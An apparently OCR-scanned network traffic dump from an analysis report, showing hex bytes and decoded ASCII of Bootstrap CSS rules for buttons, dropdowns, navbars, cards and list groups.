2021-09-15 14:28:03 UTC 110 IN Data Raw: 6f 6¢ 6f 72 3a 23 64 33 39 65 30 30 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 2e 66 6f 63 75 73 2c 2e 62 74 6e
2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67
62 61 28 32 35 35 2¢ 31 39 33 2c 37 2¢ 2e 35 29 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 2e 64 69 73 61 62 6¢ 65 64 2¢
2e 6274 6e 2d 77 61 72 6e 69 6e 67 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6¢ 6f 72 3a 23 32 31 32 35 32 39 3b 62 61 63
6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31 30 37 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 66 66 63 31
3037 7d 2e 62 74 6e 2d 77 61 72 6e 69 6e 67 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 6
162 6¢ 65 64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 77 61 72
Data Ascii: olor:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-warning.di
sabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not
(.disabled).active,.btn-war

2021-09-15 14:28:03 UTC 112 IN Data Raw: 74 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 32 31 32 35 32 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f
72 3a 23 65 32 65 36 65 61 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 64 61 65 30 65 35 7d 2e 62 74 6e 2d 6¢ 69 67 68
74 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6¢ 69 67 68 74 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20
3020 2e 32 72 65 6d 20 72 67 62 61 28 32 34 38 2c 32 34 39 2c 32 35 30 2c 2e 35 29 7d 2e 62 74 6e 2d 6¢ 69 67 68 74
2e 64 69 73 61 62 6¢ 65 64 2c 2e 62 74 6e 2d 6¢ 69 67 68 74 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6¢ 6f 72 3a 23 32 31 32
353239 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 66 38 66 39 66 61 3b 62 6f 72 64 65 72 2d 63 6f 6C 6f
72 3a 2366 38 66 39 66 61 7d 2e 62 74 6e 2d 6¢ 69 67 68
Data Ascii: t:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-sh
adow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;bor
der-color:#f8f9fa}.btn-ligh

2021-09-15 14:28:03 UTC 113 IN Data Raw: 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62
66 66 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 66 66 66
3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62 66 66 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23
3030 37 62 66 66 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 70 72 69 6d 61 72 79 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f
75 74 6¢ 69 6e 65 2d 70 72 69 6d 61 72 79 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32
72 65 6d 20 72 67 62 61 28 30 2c 31 32 33 2c 32 35 35 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 70 72 69
6d 61 72 79 2e 64 69 73 61 62 6¢ 65 64 2C 2e 62 74 6e 2d
Data Ascii: kground-image:none;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;borde
r-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-out
line-primary.disabled,.btn-

2021-09-15 14:28:03 UTC 114 IN Data Raw: 2d 63 6f 6¢ 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72
79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 2e 61 63 74 69 76 65 3a 66
6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65
64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74
6e 2d 6f 75 74 6¢ 69 6e 65 2d 73 65 63 6f 6e 64 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a 66 6f 63 75
73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 31 30 38 2c 31 31 37 2c 31 32
35 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d
Data Ascii: -color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(
:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem
rgba(108,117,125,.5)}.btn-outline-

2021-09-15 14:28:03 UTC 116 IN Data Raw: 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f 3a 64 69 73 61 62 6¢ 65 64 7b 63 6f 6¢ 6f 72 3a 23 31
37613262 38 3b 62 6163 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 62 74 6e 2d
6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6C 65
64 29 2e 61 63 74 69 76 65 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 69 6e 66 6f 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65
64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6¢
69 6e 65 2d 69 6e 66 6f 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b
67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 31 37 61 32 62
Data Ascii: ,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(
.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#
fff;background-color:#17a2b
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 117 IN Data Raw: 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 3b
62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 64 63 33 35 34 35 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 64 61 6e 67 65 72
3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 64 63 33 35
34 35 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 64 63 33 35 34 35 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 64 61 6e
67 65 72 2e 66 6f 63 75 73 2c 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 64 61 6e 67 65 72 3a 66 6f 63 75 73 7b 62 6f 78 2d
7368 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 32 30 2c 35 33 2¢ 36 39 2c 2e 3529 7d 2e
62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 64 61 6e 67 65 72 2e 64
Data Ascii: r:transparent;background-image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-col
or:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgh
a(220,53,69,.5)}.btn-outline-danger.d

2021-09-15 14:28:03 UTC 118 IN Data Raw: 69 6e 65 2d 6¢ 69 67 68 74 3a 6e 6f 74 28 3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6C
65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2¢ 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67 68 74 3a 6e 6f 74 28
3a 64 69 73 61 62 6¢ 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6¢ 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2C 2e
73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 6¢ 69 67 68 74 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 3a
66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 34 38 2c 32 34
39 2c 32 3530 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6¢ 69 6e 65 2d 64 61 72 6b 7b 63 6f 6¢ 6f 72 3a 23 33 34 33 61 34
303b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a
Data Ascii: ine-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.sh
ow>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgbha(248,249,250,.5)}.btn-outline-dark{color:#343a40;
background-color:

2021-09-15 14:28:03 UTC 120 IN Data Raw: 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f
72646572 2d 72 61 64 69 75 73 3a 2e 33 72 65 6d 7d 2e 62 74 6e 2d 67 72 6f 75 70 2d 73 6d 3e 2e 62 74 6e 2c 2e 62
74 6e 2d 73 6d 7b 70 61 64 64 69 6e 67 3a 2e 32 35 72 65 6d 20 2e 35 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38
37 3572 65 6d 3b 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2 3272 6
5 6d 7d 2e 62 74 6e 2d 62 6¢ 6f 63 6b 7b 64 69 73 70 6¢ 61 79 3a 62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e
62 74 6e 2d 62 6¢ 6 63 6b 2b 2e 62 74 6e 2d 62 6c 6f 63 6b 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 72 65 6d 7d 69 6e
7075 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2e 62 74 6e 2d 62
Data Ascii: font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-s
ize:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5r
emy}input[type=button].btn-b

2021-09-15 14:28:03 UTC 121 IN Data Raw: 6¢ 2d 61 6¢ 69 67 6e 3a 2e 32 35 35 65 6d 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 6f 72 64 65 72 2d 74 6f 70
3a303b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 33 65 6d 20 73 6f 6¢ 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b
62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 2e 33 65 6d 20 73 6f 6¢ 69 64 3b 62 6f 72 64 65 72 2d 6¢ 65 66 74 3a 2e 33 65
6d 20 73 6f 6¢ 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 64 72 6f 70 75 70 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f
67 67 6¢ 65 3a 65 6d 70 74 79 3a 3a 61 66 74 65 72 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 64 72 6f 70 72 69
67 68 74 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 6¢
65 66 74 3a 2e 31 32 35 72 65 6d 7d 2e 64 72 6f 70 72 69 67 68
Data Ascii: |-align:.255em;content:"*;border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-|
eft:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{margin-top:0;ma
rgin-left:.125rem}.droprigh

2021-09-15 14:28:03 UTC 122 IN Data Raw: 6f 6¢ 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 64 72 6f 70 64 6f 77 6e 2d 69
74 65 6d 3a 66 6f 63 75 73 2c 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 3a 68 6f 76 65 72 7b 63 6f 6¢ 6f 72 3a 23 31 36
31383162 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6C
6f 72 3a 23 66 38 66 39 66 61 7d 2e 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 2e 61 63 74 69 76 65 2C 2e 64 72 6f 70 64 6f
77 6e 2d 69 74 65 6d 3a 61 63 74 69 76 65 7b 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f
6e 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 30 30 37 62 66 66 7d 2e 64 72 6f 70 64 6f 77
6e 2d 69 74 65 6d 2e 64 69 73 61 62 6¢ 65 64 2C 2e 64
Data Ascii: olor:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:
none;background-color:#{8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-
color:#007bff}.dropdown-item.disabled,.d

2021-09-15 14:28:03 UTC 124 IN Data Raw: 3a 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6¢ 65 78 2d 73 74 61 72 74 7d 2e 62
74 6e 2d 74 6f 6f 6¢ 62 61 72 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 7b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 62 74 6e 2d
67 72 6f 75 70 3e 2e 62 74 6e 3a 66 69 72 73 74 2d 63 68 69 6¢ 64 7b 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 30 7d 2e 62
74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 2d 67 72 6f 75 70 3a 6e 6f 74 28 3a 6¢ 61 73 74 2d 63 68 69 6¢ 64 29 3e 2e 62 74
6e 2c 2e 62 74 6e 2d 67 72 6f 75 70 3e 2e 62 74 6e 3a 6e 6f 74 28 3a 6¢ 61 73 74 2d 63 68 69 6¢ 64 29 3a 6e 6f 74 28 2e
64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6¢ 65 29 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73
3a303b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67
Data Ascii: :start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-
group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;
border-bottom-rig

2021-09-15 14:28:03 UTC 128 IN Data Raw: 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6¢ 69 67 6e 3a
63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78 2d 61 6¢ 69 67 6 3a 63 65 6e 74 65 72 3b 61 6¢ 69 67 6e 2d 69 74 65 6d
73 3263 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 2e 33 37 35 72 65 6d 20 2e 37 35 72 65 6d 3b 6d 61 72 67 69 6e 2d
62 6f 74 74 6f 6d 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b
6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 3b 63 6f 6¢ 6f 72 3a 23 34 39 35 30 35 37 3b 74 65 78 74 2d 61 6¢ 69 67 6
e 3a63656e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 62 61 63 6b 67 72 6f 75 6 64 2d 63
6f 6¢ 6f 72 3a 23 65 39 65 63 65 66 3b 62 6f 72 64 65 72 3a 31 70
Data Ascii: xbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;m
argin-bottom:0;font-size: 1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;backgro
und-color:#e9ecef;border:1p

2021-09-15 14:28:03 UTC 132 IN Data Raw: 38 30 30 30 0d Oa 33 43 2f 73 76 67 25 33 45 22 29 7d 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 20 2e 63 75 73
74 6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 69 6e 70 75 74 3a 64 69 73 61 62 6¢ 65 64 3a 63 68 65 63 6b 65 64 7e 2e 63 75 73 74
6f 6d 2d 63 6f 6e 74 72 6f 6¢ 2d 6¢ 61 62 65 6¢ 3a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢C 6f 72
3a 7267 62 61 28 30 2¢ 31 32 33 2¢ 32 35 35 2c 2e 35 29 7d 2e 63 75 73 74 6f 6d 2d 73 65 6¢ 65 63 74 7b 64 69 73 70 6¢
61 79 3a 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 63 61 6¢ 63 28
322e 3235 72656d20 2b 2032707829 3b 70 61 64 64 69 6e 67 3a 2e 33 37 35 72 65 6d 20 31 2e 37 35 72 65 6d 20
2e 3337 35 72 65 6d 20 2e 37 35 72 65 6d 3b 6¢ 69 6e 65 2d
Data Ascii: 80003C/svg%3E")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before
{background-color:rgha(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:.
375rem 1.75rem .375rem .75rem;line-
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Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 136 IN Data Raw: 3a 6e 6f 77 72 61 70 7d 2e 6e 61 76 62 61 72 2d 62 72 61 6e 64 3a 66 6f 63 75 73 2c 2e 6e 61 76 62 61 72 2d
6272 61 6e 64 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6€ 3a 6e 6f 6e 65 7d 2e 6e 61 76 62 61 72
2d 6e 61 76 7b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6¢
65 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6€ 74 3a 76 65
72 7469 63 61 6¢ 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6 3a 6e 6f 72 6d 61 6¢ 3b 2d 6d 73 2d
66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢ 75 6d 6 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6€ 3a 63 6f 6C
75 6d 6e 3b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 30 3b 6d
Data Ascii: :nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-webkit-box;display
:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direct
ion:column;padding-left:0;m

2021-09-15 14:28:03 UTC 140 IN Data Raw: 6e 2d 6d 65 6e 75 7b 74 6f 70 3a 61 75 74 6f 3b 62 6f 74 74 6f 6d 3a 31 30 30 25 7d 7d 40 6d 65 64 69 61 20
28 6d 61 78 2d 77 69 64 74 68 3a 31 31 39 39 2e 39 38 70 78 29 7b 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 78 6¢
3e 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 78 6¢ 3e 2e 63 6f 6e 74 61 69 6e 65 72
2d 66 6¢ 75 69 64 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 30 7d 7d
40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 30 30 70 78 29 7b 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e
64 2d 78 6¢ 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6¢ 3b 2d 77 65 62 6b
69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61
Data Ascii: n-menuftop:auto;bottom:100%}}@media (max-width:1199.98px){.navbar-expand-xI|>.container,.navbar-expand-
xI>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-x|{-webkit-box-orient:h
orizontal;-webkit-box-direction:norma

2021-09-15 14:28:03 UTC 144 IN Data Raw: 75 73 2c 2e 6e 61 76 62 61 72 2d 64 61 72 6b 20 2e 6e 61 76 62 61 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72
7b 63 6f 6¢ 6f 72 3a 23 66 66 66 7d 2e 63 61 72 64 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 3b 64 69 73 70
6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 73 2d 66 6¢ 65 78 62 6f 78 3b 64 69 73 70
6c 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6€ 74 3a 76 65 72 74 69 63 61 6¢ 3b 2d 77 65
62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d 6d 73 2d 66 6¢ 65 78 2d 64 69 72 65 63
74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6¢ 75 6d 6e 3b 6d 69 6e 2d 77 69
64 74 68 3a 30 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65
Data Ascii: us,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flex
box;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-
width:0;word-wrap:bre

2021-09-15 14:28:03 UTC 148 IN Data Raw: 6f 74 28 3a 6¢ 61 73 74 2d 63 68 69 6¢ 64 29 3a 6e 6f 74 28 3a 6f 6e 6¢ 79 2d 63 68 69 6¢ 64 29 20 2e 63 61
72 64 2d 68 65 61 64 65 72 2c 2e 63 61 72 64 2d 67 72 6f 75 70 3e 2e 63 61 72 64 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 63
68 69 6¢ 64 29 3a 6e 6f 74 28 3a 6¢ 61 73 74 2d 63 68 69 6¢ 64 29 3a 6e 6f 74 28 3a 6f 6e 6¢ 79 2d 63 68 69 6¢ 64 29 20
2e 63 61 72 64 2d 69 6d 67 2d 62 6f 74 74 6f 6d 2c 2e 63 61 72 64 2d 67 72 6f 75 70 3e 2e 63 61 72 64 3a 6e 6f 74 28 3a
66 69 72 73 74 2d 63 68 69 6¢ 64 29 3a 6e 6f 74 28 3a 6¢ 61 73 74 2d 63 68 69 6¢ 64 29 3a 6e 6f 74 28 3a 6f 6e 6¢ 79 2d
63 68 69 6¢ 64 29 20 2e 63 61 72 64 2d 69 6d 67 2d 74 6f 70 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 7d 2e 63
61 72 64 2d 63 6f 6¢ 75 6d 6e 73 20 2e 63 61 72 64 7b 6d
Data Ascii: ot(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .c
ard-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top{border-radius:0}}.card-
columns .card{m

2021-09-15 14:28:03 UTC 152 IN Data Raw: 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 6a 75 6d 62 6f 74 72 6f
6e 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 32 72 65 6d 7d 7d 2e 6a 75 6d 62 6f 74 72 6f 6e 2d 66 6¢ 75 69 64 7b 70 61
64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 6¢ 65 66 74 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64
69 75 73 3a 30 7d 2e 61 6¢ 65 72 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76 65 3b 70 61 64 64 69 6e 67 3a 2e
37 3572 65 6d 20 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 62 6f 72 64 65 72 3a
317078 20 73 6f 6¢ 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 35
72 65 6d 7d 2e 61 6¢ 65 72 74 2d 68 65 61 64 69 6e 67 7b 63 6f
Data Ascii: m}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-
left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;b
order-radius:.25rem}.alert-heading{co

2021-09-15 14:28:03 UTC 156 IN Data Raw: 66 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 70 72 69 6d 61 72 79 2e 6¢ 69 73 74 2d 67 72 6f 75
70 2d 69 74 65 6d 2d 61 63 74 69 6f 6e 3a 66 6f 63 75 73 2c 2e 6¢ 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 70 72 69
6d 61 72 79 2e 6¢ 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 6f 6e 3a 68 6f 76 65 72 7h 63 6f 6¢ 6f 72 3a
233030 34 303835 3b 62 6163 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 23 39 66 63 64 66 66 7d 2e 6¢ 69 73 74 2d 67
72 6f75 70 2d 69 74 65 6d 2d 70 72 69 6d 61 72 79 2e 6¢ 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 61 63 74 69 6f 6
2e 61 63 74 69 76 65 7h 63 6f 6¢ 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6€ 64 2d 63 6f 6¢ 6f 72 3a 23 30 30 34
3038 35 3b 62 6f 72 64 65 72 2d 63 6f 6¢ 6f 72 3a 23 30
Data Ascii: f}.list-group-item-primary.list-group-item-action:focus, .list-group-item-primary.list-group-item-action:hove
r{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-co
lor:#004085;border-color:#0

